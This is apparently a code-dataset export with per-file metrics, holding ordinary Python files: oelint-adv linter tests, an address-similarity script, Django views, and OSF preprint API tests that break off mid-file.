| 0.478632
| 0.071778
| 0.097879
| 0.097879
| 0.792822
| 0.792822
| 0.792822
| 0.792822
| 0.792822
| 0.792822
| 0
| 0.042076
| 0.07762
| 773
| 8
| 335
| 96.625
| 0.817672
| 0.389392
| 0
| 0
| 0
| 0.166667
| 0.719745
| 0.053079
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.166667
| 0
| 0.166667
| 0.166667
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
07be723b185a635381a45192a18f9bcf712554e9
| 2,801
|
py
|
Python
|
tests/test_class_oelint_vars_listappend.py
|
skycaptain/oelint-adv
|
ff67d3149cf8b1de2b0b2d158a68f4e2cf5e9e46
|
[
"BSD-2-Clause"
] | null | null | null |
tests/test_class_oelint_vars_listappend.py
|
skycaptain/oelint-adv
|
ff67d3149cf8b1de2b0b2d158a68f4e2cf5e9e46
|
[
"BSD-2-Clause"
] | null | null | null |
tests/test_class_oelint_vars_listappend.py
|
skycaptain/oelint-adv
|
ff67d3149cf8b1de2b0b2d158a68f4e2cf5e9e46
|
[
"BSD-2-Clause"
] | null | null | null |
import pytest
from .base import TestBaseClass
class TestClassOelintVarsListAppend(TestBaseClass):
@pytest.mark.parametrize('id', ['oelint.vars.listappend'])
@pytest.mark.parametrize('occurrence', [1])
@pytest.mark.parametrize('input',
[
{
'oelint_adv_test.bb':
'PACKAGES =. "foo"',
},
{
'oelint_adv_test.bb':
'FILES_${PN}-tracepath_append = "${base_bindir}"',
},
{
'oelint_adv_test.bb':
'RDEPENDS_${PN} .= "bar"',
},
{
'oelint_adv_test.bb':
'DEPENDS_prepend = "xyz"',
},
{
'oelint_adv_test.bb':
'SRC_URI .= "file://abc"',
},
],
)
def test_bad(self, input, id, occurrence):
self.check_for_id(self._create_args(input), id, occurrence)
@pytest.mark.parametrize('id', ['oelint.vars.listappend'])
@pytest.mark.parametrize('occurrence', [0])
@pytest.mark.parametrize('input',
[
{
'oelint_adv_test.bb':
'PACKAGES =. "foo "',
},
{
'oelint_adv_test.bb':
'FILES_${PN}-tracepath_append = " ${base_bindir}"',
},
{
'oelint_adv_test.bb':
'RDEPENDS_${PN} .= " bar"',
},
{
'oelint_adv_test.bb':
'DEPENDS_prepend = "xyz "',
},
{
'oelint_adv_test.bb':
'SRC_URI .= " file://abc"',
},
],
)
def test_good(self, input, id, occurrence):
self.check_for_id(self._create_args(input), id, occurrence)
| 43.092308
| 88
| 0.287397
| 151
| 2,801
| 5.05298
| 0.291391
| 0.117955
| 0.17038
| 0.196592
| 0.875491
| 0.875491
| 0.875491
| 0.875491
| 0.875491
| 0.875491
| 0
| 0.001871
| 0.618351
| 2,801
| 64
| 89
| 43.765625
| 0.71188
| 0
| 0
| 0.474576
| 0
| 0
| 0.188861
| 0.035702
| 0
| 0
| 0
| 0
| 0
| 1
| 0.033898
| false
| 0
| 0.033898
| 0
| 0.084746
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
07bf9a4936c2f4506e47673917d01db634095ba7
| 7,517
|
py
|
Python
|
geo_similarity.py
|
liujtm/semantic_address_matching
|
31f71dea84631eb269c2338c753878e3caf2da6e
|
[
"MIT"
] | null | null | null |
geo_similarity.py
|
liujtm/semantic_address_matching
|
31f71dea84631eb269c2338c753878e3caf2da6e
|
[
"MIT"
] | null | null | null |
geo_similarity.py
|
liujtm/semantic_address_matching
|
31f71dea84631eb269c2338c753878e3caf2da6e
|
[
"MIT"
] | 1
|
2021-10-13T11:22:10.000Z
|
2021-10-13T11:22:10.000Z
|
import distance
from sklearn.feature_extraction.text import CountVectorizer
import numpy as np
# Levenshtein distance
def edit_distance(s1, s2):
return distance.levenshtein(s1, s2)
def Levenshtein_total():
d_sum = 0
count = 0
filename = 'data/preprocess_data/Address84474.txt'
output = 'data/preprocess_data/Levenshtein_total.txt'
with open(filename, 'r', encoding='UTF-8') as f:
with open(output, 'w', encoding='utf-8') as o:
for line in f.readlines():
line = line.strip().split("\t")
s1 = line[0]
print(s1)
s2 = line[1]
print(s2)
d = edit_distance(s1, s2)
o.write(s1 + '\t' + s2 + '\t' + str(d) + '\n')
d_sum = d_sum + d
count = count + 1
d_total_mean = d_sum/count
print('Levenshtein distance', d_total_mean)
def Levenshtein_matched():
d_sum = 0
count = 0
filename = 'data/preprocess_data/Shenzhen_address_data-20180522-matched.txt'
output = 'data/preprocess_data/Levenshtein_matched.txt'
with open(filename, 'r', encoding='UTF-8') as f:
with open(output, 'w', encoding='utf-8') as o:
for line in f.readlines():
line = line.strip().split("\t")
s1 = line[0]
print(s1)
s2 = line[1]
print(s2)
d = edit_distance(s1, s2)
o.write(s1 + '\t' + s2 + '\t' + str(d) + '\n')
d_sum = d_sum + d
count = count + 1
d_matched_mean = d_sum/count
print('Levenshtein distance', d_matched_mean)
def Levenshtein_unmatched():
d_sum = 0
count = 0
filename = 'data/preprocess_data/Shenzhen_address_data-20180522-unmatched.txt'
output = 'data/preprocess_data/Levenshtein_unmatched.txt'
with open(filename, 'r', encoding='UTF-8') as f:
with open(output, 'w', encoding='utf-8') as o:
for line in f.readlines():
line = line.strip().split("\t")
s1 = line[0]
print(s1)
s2 = line[1]
print(s2)
d = edit_distance(s1, s2)
o.write(s1 + '\t' + s2 + '\t' + str(d) + '\n')
d_sum = d_sum + d
count = count + 1
d_unmatched_mean = d_sum/count
print('Levenshtein distance', d_unmatched_mean)
# Jaccard similarity coefficient
def Jaccard_similarity(s1, s2):
def add_space(s):
return ' '.join(list(s))
s1, s2 = add_space(s1), add_space(s2)
cv = CountVectorizer(tokenizer=lambda s: s.split())
corpus = [s1, s2]
vectors = cv.fit_transform(corpus).toarray()
numerator = np.sum(np.min(vectors, axis=0))
denominator = np.sum(np.max(vectors, axis=0))
return 1.0 * numerator / denominator
def Jaccard_total():
s_sum = 0
count = 0
filename = 'data/preprocess_data/Address84474.txt'
output = 'data/preprocess_data/Jaccard_total.txt'
with open(filename, 'r', encoding='UTF-8') as f:
with open(output, 'w', encoding='utf-8') as o:
for line in f.readlines():
line = line.strip().split("\t")
s1 = line[0]
print(s1)
s2 = line[1]
print(s2)
s = Jaccard_similarity(s1, s2)
o.write(s1 + '\t' + s2 + '\t' + str(s) + '\n')
s_sum = s_sum + s
count = count + 1
s_total_mean = s_sum/count
print('Jaccard similarity', s_total_mean)
def Jaccard_matched():
s_sum = 0
count = 0
filename = 'data/preprocess_data/Shenzhen_address_data-20180522-matched.txt'
output = 'data/preprocess_data/Jaccard_matched.txt'
with open(filename, 'r', encoding='UTF-8') as f:
with open(output, 'w', encoding='utf-8') as o:
for line in f.readlines():
line = line.strip().split("\t")
s1 = line[0]
print(s1)
s2 = line[1]
print(s2)
s = Jaccard_similarity(s1, s2)
o.write(s1 + '\t' + s2 + '\t' + str(s) + '\n')
s_sum = s_sum + s
count = count + 1
s_matched_mean = s_sum/count
print('Jaccard similarity', s_matched_mean)
def Jaccard_unmatched():
s_sum = 0
count = 0
filename = 'data/preprocess_data/Shenzhen_address_data-20180522-unmatched.txt'
output = 'data/preprocess_data/Jaccard_unmatched.txt'
with open(filename, 'r', encoding='UTF-8') as f:
with open(output, 'w', encoding='utf-8') as o:
for line in f.readlines():
line = line.strip().split("\t")
s1 = line[0]
print(s1)
s2 = line[1]
print(s2)
s = Jaccard_similarity(s1, s2)
o.write(s1 + '\t' + s2 + '\t' + str(s) + '\n')
s_sum = s_sum + s
count = count + 1
s_unmatched_mean = s_sum/count
print('Jaccard similarity', s_unmatched_mean)
# Length difference
def diff_total():
d_sum = 0
count = 0
filename = 'data/preprocess_data/Address84474.txt'
output = 'data/preprocess_data/diff_total.txt'
with open(filename, 'r', encoding='UTF-8') as f:
with open(output, 'w', encoding='utf-8') as o:
for line in f.readlines():
line = line.strip().split("\t")
s1 = line[0]
print(s1)
s2 = line[1]
print(s2)
d = abs(len(s1) - len(s2))
o.write(s1 + '\t' + s2 + '\t' + str(d) + '\n')
d_sum = d_sum + d
count = count + 1
d_total_mean = d_sum/count
print('length difference', d_total_mean)
def diff_matched():
d_sum = 0
count = 0
filename = 'data/preprocess_data/Shenzhen_address_data-20180522-matched.txt'
output = 'data/preprocess_data/diff_matched.txt'
with open(filename, 'r', encoding='UTF-8') as f:
with open(output, 'w', encoding='utf-8') as o:
for line in f.readlines():
line = line.strip().split("\t")
s1 = line[0]
print(s1)
s2 = line[1]
print(s2)
d = abs(len(s1) - len(s2))
o.write(s1 + '\t' + s2 + '\t' + str(d) + '\n')
d_sum = d_sum + d
count = count + 1
d_matched_mean = d_sum/count
print('length difference', d_matched_mean)
def diff_unmatched():
d_sum = 0
count = 0
filename = 'data/preprocess_data/Shenzhen_address_data-20180522-unmatched.txt'
output = 'data/preprocess_data/diff_unmatched.txt'
with open(filename, 'r', encoding='UTF-8') as f:
with open(output, 'w', encoding='utf-8') as o:
for line in f.readlines():
line = line.strip().split("\t")
s1 = line[0]
print(s1)
s2 = line[1]
print(s2)
d = abs(len(s1) - len(s2))
o.write(s1 + '\t' + s2 + '\t' + str(d) + '\n')
d_sum = d_sum + d
count = count + 1
d_unmatched_mean = d_sum/count
print('length difference', d_unmatched_mean)
if __name__ == '__main__':
diff_unmatched()
| 36.490291
| 82
| 0.516695
| 957
| 7,517
| 3.910136
| 0.087774
| 0.025655
| 0.086585
| 0.067344
| 0.812934
| 0.812934
| 0.795297
| 0.795297
| 0.736772
| 0.736505
| 0
| 0.044015
| 0.353199
| 7,517
| 205
| 83
| 36.668293
| 0.725627
| 0.009179
| 0
| 0.75
| 0
| 0
| 0.162816
| 0.115261
| 0
| 0
| 0
| 0
| 0
| 1
| 0.06383
| false
| 0
| 0.015957
| 0.010638
| 0.095745
| 0.143617
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
07d77ae0bcc735b95d79700a02174a4d8c28c987
| 174
|
py
|
Python
|
backend/views/default.py
|
gogaz/coach_royale
|
fc6b9f9021c2470a8bcd8aa27dffef8ec079364c
|
[
"MIT"
] | 10
|
2018-11-08T08:29:17.000Z
|
2021-11-02T11:55:49.000Z
|
backend/views/default.py
|
gogaz/coach_royale
|
fc6b9f9021c2470a8bcd8aa27dffef8ec079364c
|
[
"MIT"
] | 138
|
2018-09-14T03:47:51.000Z
|
2022-02-01T18:33:09.000Z
|
backend/views/default.py
|
gogaz/coach_royale
|
fc6b9f9021c2470a8bcd8aa27dffef8ec079364c
|
[
"MIT"
] | null | null | null |
from django.shortcuts import render
def index(request):
return render(request, 'application.html')
def manifest(request):
return render(request, 'manifest.json')
| 17.4
| 46
| 0.741379
| 21
| 174
| 6.142857
| 0.619048
| 0.20155
| 0.294574
| 0.403101
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.149425
| 174
| 9
| 47
| 19.333333
| 0.871622
| 0
| 0
| 0
| 0
| 0
| 0.166667
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.4
| false
| 0
| 0.2
| 0.4
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 8
|
07e254b4ba88e6110492245fba1e105253b96a93
| 37,709
|
py
|
Python
|
api_tests/preprints/views/test_preprint_list.py
|
listinc/osf.io
|
b9a0357f3e9b6e905b732e750a16e9452c459d78
|
[
"Apache-2.0"
] | null | null | null |
api_tests/preprints/views/test_preprint_list.py
|
listinc/osf.io
|
b9a0357f3e9b6e905b732e750a16e9452c459d78
|
[
"Apache-2.0"
] | null | null | null |
api_tests/preprints/views/test_preprint_list.py
|
listinc/osf.io
|
b9a0357f3e9b6e905b732e750a16e9452c459d78
|
[
"Apache-2.0"
] | null | null | null |
import mock
from nose.tools import * # flake8: noqa
import pytest
from addons.github.models import GithubFile
from api.base.settings.defaults import API_BASE
from api_tests import utils as test_utils
from api_tests.preprints.filters.test_filters import PreprintsListFilteringMixin
from api_tests.preprints.views.test_preprint_list_mixin import (
PreprintIsPublishedListMixin,
PreprintListMatchesPreprintDetailMixin,
PreprintIsValidListMixin,
)
from api_tests.reviews.mixins.filter_mixins import ReviewableFilterMixin
from osf.models import PreprintService, Node
from osf.utils.workflows import DefaultStates
from osf.utils import permissions
from osf_tests.factories import (
ProjectFactory,
PreprintFactory,
AuthUserFactory,
SubjectFactory,
PreprintProviderFactory,
)
from tests.base import ApiTestCase, capture_signals
from website.project import signals as project_signals
def build_preprint_create_payload(
node_id=None,
provider_id=None,
file_id=None,
attrs=None):
if not attrs:
attrs = {}
payload = {
'data': {
'attributes': attrs,
'relationships': {},
'type': 'preprints'
}
}
if node_id:
payload['data']['relationships']['node'] = {
'data': {
'type': 'node',
'id': node_id
}
}
if provider_id:
payload['data']['relationships']['provider'] = {
'data': {
'type': 'provider',
'id': provider_id
}
}
if file_id:
payload['data']['relationships']['primary_file'] = {
'data': {
'type': 'primary_file',
'id': file_id
}
}
return payload
def build_preprint_create_payload_without_node(
provider_id=None, file_id=None, attrs=None):
attrs = attrs or {}
return build_preprint_create_payload(
node_id=None,
provider_id=provider_id,
file_id=file_id,
attrs=attrs)
@pytest.mark.django_db
class TestPreprintCreateWithoutNode:
@pytest.fixture()
def user_one(self):
return AuthUserFactory()
@pytest.fixture()
def subject(self):
return SubjectFactory()
@pytest.fixture()
def provider(self):
return PreprintProviderFactory()
@pytest.fixture()
def url(self):
return '/{}preprints/'.format(API_BASE)
@pytest.fixture()
def preprint_payload(self, provider):
return {
'data': {
'type': 'preprints',
'attributes': {
'title': 'Greatest Wrestlemania Moment Vol IX',
'description': 'Crush VS Doink the Clown in an epic battle during WrestleMania IX',
'category': 'data',
'public': False,
},
'relationships': {
'provider': {
'data': {
'id': provider._id,
'type': 'providers'}}}}}
def test_create_preprint_logged_in(
self, app, user_one, url, preprint_payload):
res = app.post_json_api(
url,
preprint_payload,
auth=user_one.auth,
expect_errors=True)
assert res.status_code == 201
assert res.json['data']['attributes']['title'] == preprint_payload['data']['attributes']['title']
assert res.json['data']['attributes']['description'] == preprint_payload['data']['attributes']['description']
assert res.content_type == 'application/vnd.api+json'
def test_create_preprint_creates_a_node(
self, app, user_one, provider, url, preprint_payload):
res = app.post_json_api(
url,
preprint_payload,
auth=user_one.auth,
expect_errors=True)
assert res.status_code == 201
assert Node.objects.filter(
preprints__guids___id=res.json['data']['id']).exists()
class TestPreprintList(ApiTestCase):
def setUp(self):
super(TestPreprintList, self).setUp()
self.user = AuthUserFactory()
self.preprint = PreprintFactory(creator=self.user)
self.url = '/{}preprints/'.format(API_BASE)
self.project = ProjectFactory(creator=self.user)
def test_return_preprints_logged_out(self):
res = self.app.get(self.url)
assert_equal(len(res.json['data']), 1)
assert_equal(res.status_code, 200)
assert_equal(res.status_code, 200)
assert_equal(res.content_type, 'application/vnd.api+json')
def test_exclude_nodes_from_preprints_endpoint(self):
res = self.app.get(self.url, auth=self.user.auth)
ids = [each['id'] for each in res.json['data']]
assert_in(self.preprint._id, ids)
assert_not_in(self.project._id, ids)
class TestPreprintsListFiltering(PreprintsListFilteringMixin):
@pytest.fixture()
def user(self):
return AuthUserFactory()
@pytest.fixture()
def provider_one(self):
return PreprintProviderFactory(name='Sockarxiv')
@pytest.fixture()
def provider_two(self):
return PreprintProviderFactory(name='Piratearxiv')
@pytest.fixture()
def provider_three(self, provider_one):
return provider_one
@pytest.fixture()
def project_one(self, user):
return ProjectFactory(creator=user)
@pytest.fixture()
def project_two(self, user):
return ProjectFactory(creator=user)
@pytest.fixture()
def project_three(self, user):
return ProjectFactory(creator=user)
@pytest.fixture()
def url(self):
return '/{}preprints/?version=2.2&'.format(API_BASE)
@mock.patch('website.identifiers.clients.crossref.CrossRefClient.update_identifier')
def test_provider_filter_equals_returns_one(
self,
mock_change_identifier,
app,
user,
provider_two,
preprint_two,
provider_url):
expected = [preprint_two._id]
res = app.get(
'{}{}'.format(
provider_url,
provider_two._id),
auth=user.auth)
actual = [preprint['id'] for preprint in res.json['data']]
assert expected == actual
class TestPreprintListFilteringByReviewableFields(ReviewableFilterMixin):
@pytest.fixture()
def url(self):
return '/{}preprints/'.format(API_BASE)
@pytest.fixture()
def expected_reviewables(self, user):
with mock.patch('website.identifiers.utils.request_identifiers'):
preprints = [
PreprintFactory(
is_published=False, project=ProjectFactory(
is_public=True)), PreprintFactory(
is_published=False, project=ProjectFactory(
is_public=True)), PreprintFactory(
is_published=False, project=ProjectFactory(
is_public=True)), ]
preprints[0].run_submit(user)
preprints[0].run_accept(user, 'comment')
preprints[1].run_submit(user)
preprints[1].run_reject(user, 'comment')
preprints[2].run_submit(user)
return preprints
@pytest.fixture
def user(self):
return AuthUserFactory()
class TestPreprintCreate(ApiTestCase):
def setUp(self):
super(TestPreprintCreate, self).setUp()
self.user = AuthUserFactory()
self.other_user = AuthUserFactory()
self.private_project = ProjectFactory(creator=self.user)
self.public_project = ProjectFactory(creator=self.user, is_public=True)
self.public_project.add_contributor(
self.other_user,
permissions=permissions.DEFAULT_CONTRIBUTOR_PERMISSIONS,
save=True)
self.subject = SubjectFactory()
self.provider = PreprintProviderFactory()
self.user_two = AuthUserFactory()
self.file_one_public_project = test_utils.create_test_file(
self.public_project, self.user, 'millionsofdollars.pdf')
self.file_one_private_project = test_utils.create_test_file(
self.private_project, self.user, 'woowoowoo.pdf')
self.url = '/{}preprints/'.format(API_BASE)
def test_create_preprint_from_public_project(self):
public_project_payload = build_preprint_create_payload(
self.public_project._id, self.provider._id, self.file_one_public_project._id)
res = self.app.post_json_api(
self.url,
public_project_payload,
auth=self.user.auth)
assert_equal(res.status_code, 201)
def test_create_preprint_from_private_project(self):
private_project_payload = build_preprint_create_payload(
self.private_project._id,
self.provider._id,
self.file_one_private_project._id,
attrs={
'subjects': [
[
SubjectFactory()._id]],
'is_published': True})
res = self.app.post_json_api(
self.url,
private_project_payload,
auth=self.user.auth)
self.private_project.reload()
assert_equal(res.status_code, 201)
assert_true(self.private_project.is_public)
def test_non_authorized_user(self):
public_project_payload = build_preprint_create_payload(
self.public_project._id, self.provider._id, self.file_one_public_project._id)
res = self.app.post_json_api(
self.url,
public_project_payload,
auth=self.user_two.auth,
expect_errors=True)
assert_equal(res.status_code, 403)
def test_read_write_user_not_admin(self):
assert_in(self.other_user, self.public_project.contributors)
public_project_payload = build_preprint_create_payload(
self.public_project._id, self.provider._id, self.file_one_public_project._id)
res = self.app.post_json_api(
self.url,
public_project_payload,
auth=self.other_user.auth,
expect_errors=True)
assert_equal(res.status_code, 403)
def test_file_is_not_in_node(self):
wrong_project_payload = build_preprint_create_payload(
self.public_project._id, self.provider._id, self.file_one_private_project._id)
res = self.app.post_json_api(
self.url,
wrong_project_payload,
auth=self.user.auth,
expect_errors=True)
assert_equal(res.status_code, 400)
assert_equal(
res.json['errors'][0]['detail'],
'This file is not a valid primary file for this preprint.')
def test_already_a_preprint_with_conflicting_provider(self):
preprint = PreprintFactory(creator=self.user)
file_one_preprint = test_utils.create_test_file(
preprint.node, self.user, 'openupthatwindow.pdf')
already_preprint_payload = build_preprint_create_payload(
preprint.node._id, preprint.provider._id, file_one_preprint._id)
res = self.app.post_json_api(
self.url,
already_preprint_payload,
auth=self.user.auth,
expect_errors=True)
assert_equal(res.status_code, 409)
assert_in(
'Only one preprint per provider can be submitted for a node.',
res.json['errors'][0]['detail'])
def test_read_write_user_already_a_preprint_with_conflicting_provider(
self):
assert_in(self.other_user, self.public_project.contributors)
preprint = PreprintFactory(creator=self.user)
preprint.node.add_contributor(
self.other_user,
permissions=permissions.DEFAULT_CONTRIBUTOR_PERMISSIONS,
save=True)
file_one_preprint = test_utils.create_test_file(
preprint.node, self.user, 'openupthatwindow.pdf')
already_preprint_payload = build_preprint_create_payload(
preprint.node._id, self.provider._id, file_one_preprint._id)
res = self.app.post_json_api(
self.url,
already_preprint_payload,
auth=self.other_user.auth,
expect_errors=True)
assert_equal(res.status_code, 403)
def test_publish_preprint_fails_with_no_primary_file(self):
no_file_payload = build_preprint_create_payload(
node_id=self.public_project._id,
provider_id=self.provider._id,
file_id=None,
attrs={
'is_published': True,
'subjects': [[SubjectFactory()._id]],
}
)
res = self.app.post_json_api(
self.url,
no_file_payload,
auth=self.user.auth,
expect_errors=True)
assert_equal(res.status_code, 400)
assert_equal(
res.json['errors'][0]['detail'],
'A valid primary_file must be set before publishing a preprint.')
def test_publish_preprint_fails_with_invalid_primary_file(self):
no_file_payload = build_preprint_create_payload(
node_id=self.public_project._id,
provider_id=self.provider._id,
file_id='totallynotanid',
attrs={
'is_published': True,
'subjects': [[SubjectFactory()._id]],
}
)
res = self.app.post_json_api(
self.url,
no_file_payload,
auth=self.user.auth,
expect_errors=True)
assert_equal(res.status_code, 400)
assert_equal(
res.json['errors'][0]['detail'],
'A valid primary_file must be set before publishing a preprint.')
def test_no_provider_given(self):
no_providers_payload = build_preprint_create_payload(
self.public_project._id, self.provider._id, self.file_one_public_project._id)
del no_providers_payload['data']['relationships']['provider']
res = self.app.post_json_api(
self.url,
no_providers_payload,
auth=self.user.auth,
expect_errors=True)
assert_equal(res.status_code, 400)
assert_equal(
res.json['errors'][0]['detail'],
'You must specify a valid provider to create a preprint.')
def test_invalid_provider_given(self):
wrong_provider_payload = build_preprint_create_payload(
self.public_project._id, 'jobbers', self.file_one_public_project._id)
res = self.app.post_json_api(
self.url,
wrong_provider_payload,
auth=self.user.auth,
expect_errors=True)
assert_equal(res.status_code, 400)
assert_equal(
res.json['errors'][0]['detail'],
'You must specify a valid provider to create a preprint.')
def test_request_id_does_not_match_request_url_id(self):
public_project_payload = build_preprint_create_payload(
self.private_project._id, self.provider._id, self.file_one_public_project._id)
res = self.app.post_json_api(
self.url,
public_project_payload,
auth=self.user.auth,
expect_errors=True)
assert_equal(res.status_code, 400)
assert_equal(
res.json['errors'][0]['detail'],
'This file is not a valid primary file for this preprint.')
def test_file_not_osfstorage(self):
github_file = self.file_one_public_project
github_file.recast(GithubFile._typedmodels_type)
github_file.save()
public_project_payload = build_preprint_create_payload(
self.public_project._id, self.provider._id, github_file._id)
res = self.app.post_json_api(
self.url,
public_project_payload,
auth=self.user.auth,
expect_errors=True)
assert_equal(res.status_code, 400)
assert_equal(
res.json['errors'][0]['detail'],
'This file is not a valid primary file for this preprint.')
def test_preprint_contributor_signal_not_sent_on_creation(self):
with capture_signals() as mock_signals:
public_project_payload = build_preprint_create_payload(
self.public_project._id, self.provider._id, self.file_one_public_project._id)
res = self.app.post_json_api(
self.url, public_project_payload, auth=self.user.auth)
assert_equal(res.status_code, 201)
assert_not_in(
project_signals.contributor_added,
mock_signals.signals_sent())
def test_create_preprint_with_deleted_node_should_fail(self):
self.public_project.is_deleted = True
self.public_project.save()
public_project_payload = build_preprint_create_payload(
self.public_project._id, self.provider._id, self.file_one_public_project._id)
res = self.app.post_json_api(
self.url,
public_project_payload,
auth=self.user.auth,
expect_errors=True)
assert_equal(res.status_code, 400)
assert_equal(res.json['errors'][0]['detail'],
'Cannot create a preprint from a deleted node.')
def test_create_preprint_adds_log_if_published(self):
public_project_payload = build_preprint_create_payload(
self.public_project._id,
self.provider._id,
self.file_one_public_project._id,
{
'is_published': True,
'subjects': [[SubjectFactory()._id]],
}
)
res = self.app.post_json_api(
self.url,
public_project_payload,
auth=self.user.auth)
assert_equal(res.status_code, 201)
preprint_id = res.json['data']['id']
preprint = PreprintService.load(preprint_id)
log = preprint.node.logs.latest()
assert_equal(log.action, 'preprint_initiated')
assert_equal(log.params.get('preprint'), preprint_id)
@mock.patch('website.preprints.tasks.on_preprint_updated.si')
def test_create_preprint_from_project_published_hits_update(
self, mock_on_preprint_updated):
private_project_payload = build_preprint_create_payload(
self.private_project._id,
self.provider._id,
self.file_one_private_project._id,
attrs={
'subjects': [
[
SubjectFactory()._id]],
'is_published': True})
res = self.app.post_json_api(
self.url,
private_project_payload,
auth=self.user.auth)
assert mock_on_preprint_updated.called
@mock.patch('website.preprints.tasks.on_preprint_updated.si')
def test_create_preprint_from_project_unpublished_does_not_hit_update(
self, mock_on_preprint_updated):
private_project_payload = build_preprint_create_payload(
self.private_project._id,
self.provider._id,
self.file_one_private_project._id,
attrs={
'subjects': [
[
SubjectFactory()._id]],
'is_published': False})
res = self.app.post_json_api(
self.url,
private_project_payload,
auth=self.user.auth)
assert not mock_on_preprint_updated.called
@mock.patch('website.preprints.tasks.on_preprint_updated.si')
def test_setting_is_published_with_moderated_provider_fails(
self, mock_on_preprint_updated):
self.provider.reviews_workflow = 'pre-moderation'
self.provider.save()
public_project_payload = build_preprint_create_payload(
self.public_project._id,
self.provider._id,
self.file_one_public_project._id,
{
'is_published': True,
'subjects': [[SubjectFactory()._id]],
}
)
res = self.app.post_json_api(
self.url,
public_project_payload,
auth=self.user.auth,
expect_errors=True)
assert res.status_code == 409
assert not mock_on_preprint_updated.called
class TestPreprintIsPublishedList(PreprintIsPublishedListMixin):
@pytest.fixture()
def user_admin_contrib(self):
return AuthUserFactory()
@pytest.fixture()
def provider_one(self):
return PreprintProviderFactory()
@pytest.fixture()
def provider_two(self, provider_one):
return provider_one
@pytest.fixture()
def project_published(self, user_admin_contrib):
return ProjectFactory(creator=user_admin_contrib, is_public=True)
@pytest.fixture()
def project_public(self, user_admin_contrib, user_write_contrib):
project_public = ProjectFactory(
creator=user_admin_contrib, is_public=True)
project_public.add_contributor(
user_write_contrib,
permissions=permissions.DEFAULT_CONTRIBUTOR_PERMISSIONS,
save=True)
return project_public
@pytest.fixture()
def url(self):
return '/{}preprints/?version=2.2&'.format(API_BASE)
@pytest.fixture()
def preprint_unpublished(
self,
user_admin_contrib,
provider_one,
project_public,
subject):
return PreprintFactory(creator=user_admin_contrib,
filename='mgla.pdf',
provider=provider_one,
subjects=[[subject._id]],
project=project_public,
is_published=False)
def test_unpublished_visible_to_admins(
self,
app,
user_admin_contrib,
preprint_unpublished,
preprint_published,
url):
res = app.get(url, auth=user_admin_contrib.auth)
assert len(res.json['data']) == 2
assert preprint_unpublished._id in [d['id'] for d in res.json['data']]
def test_unpublished_invisible_to_write_contribs(
self,
app,
user_write_contrib,
preprint_unpublished,
preprint_published,
url):
res = app.get(url, auth=user_write_contrib.auth)
assert len(res.json['data']) == 1
assert preprint_unpublished._id not in [
d['id'] for d in res.json['data']]
def test_filter_published_false_write_contrib(
self, app, user_write_contrib, preprint_unpublished, url):
res = app.get(
'{}filter[is_published]=false'.format(url),
auth=user_write_contrib.auth)
assert len(res.json['data']) == 0
class TestReviewsPendingPreprintIsPublishedList(PreprintIsPublishedListMixin):
@pytest.fixture()
def user_admin_contrib(self):
return AuthUserFactory()
@pytest.fixture()
def provider_one(self):
return PreprintProviderFactory(reviews_workflow='pre-moderation')
@pytest.fixture()
def provider_two(self, provider_one):
return provider_one
@pytest.fixture()
def project_public(self, user_admin_contrib, user_write_contrib):
project_public = ProjectFactory(
creator=user_admin_contrib, is_public=True)
project_public.add_contributor(
user_write_contrib,
permissions=permissions.DEFAULT_CONTRIBUTOR_PERMISSIONS,
save=True)
return project_public
@pytest.fixture()
def project_published(self, user_admin_contrib):
return ProjectFactory(creator=user_admin_contrib, is_public=True)
@pytest.fixture()
def url(self):
return '/{}preprints/?version=2.2&'.format(API_BASE)
@pytest.fixture()
def preprint_unpublished(
self,
user_admin_contrib,
provider_one,
project_public,
subject):
return PreprintFactory(creator=user_admin_contrib,
filename='mgla.pdf',
provider=provider_one,
subjects=[[subject._id]],
project=project_public,
is_published=False,
machine_state=DefaultStates.PENDING.value)
def test_unpublished_visible_to_admins(
self,
app,
user_admin_contrib,
preprint_unpublished,
preprint_published,
url):
res = app.get(url, auth=user_admin_contrib.auth)
assert len(res.json['data']) == 2
assert preprint_unpublished._id in [d['id'] for d in res.json['data']]
def test_unpublished_visible_to_write_contribs(
self,
app,
user_write_contrib,
preprint_unpublished,
preprint_published,
url):
res = app.get(url, auth=user_write_contrib.auth)
assert len(res.json['data']) == 2
assert preprint_unpublished._id in [d['id'] for d in res.json['data']]
def test_filter_published_false_write_contrib(
self, app, user_write_contrib, preprint_unpublished, url):
res = app.get(
'{}filter[is_published]=false'.format(url),
auth=user_write_contrib.auth)
assert len(res.json['data']) == 1
class TestReviewsInitialPreprintIsPublishedList(PreprintIsPublishedListMixin):
@pytest.fixture()
def user_admin_contrib(self):
return AuthUserFactory()
@pytest.fixture()
def provider_one(self):
return PreprintProviderFactory(reviews_workflow='pre-moderation')
@pytest.fixture()
def provider_two(self, provider_one):
return provider_one
@pytest.fixture()
def project_public(self, user_admin_contrib, user_write_contrib):
project_public = ProjectFactory(
creator=user_admin_contrib, is_public=True)
project_public.add_contributor(
user_write_contrib,
permissions=permissions.DEFAULT_CONTRIBUTOR_PERMISSIONS,
save=True)
return project_public
@pytest.fixture()
def project_published(self, user_admin_contrib):
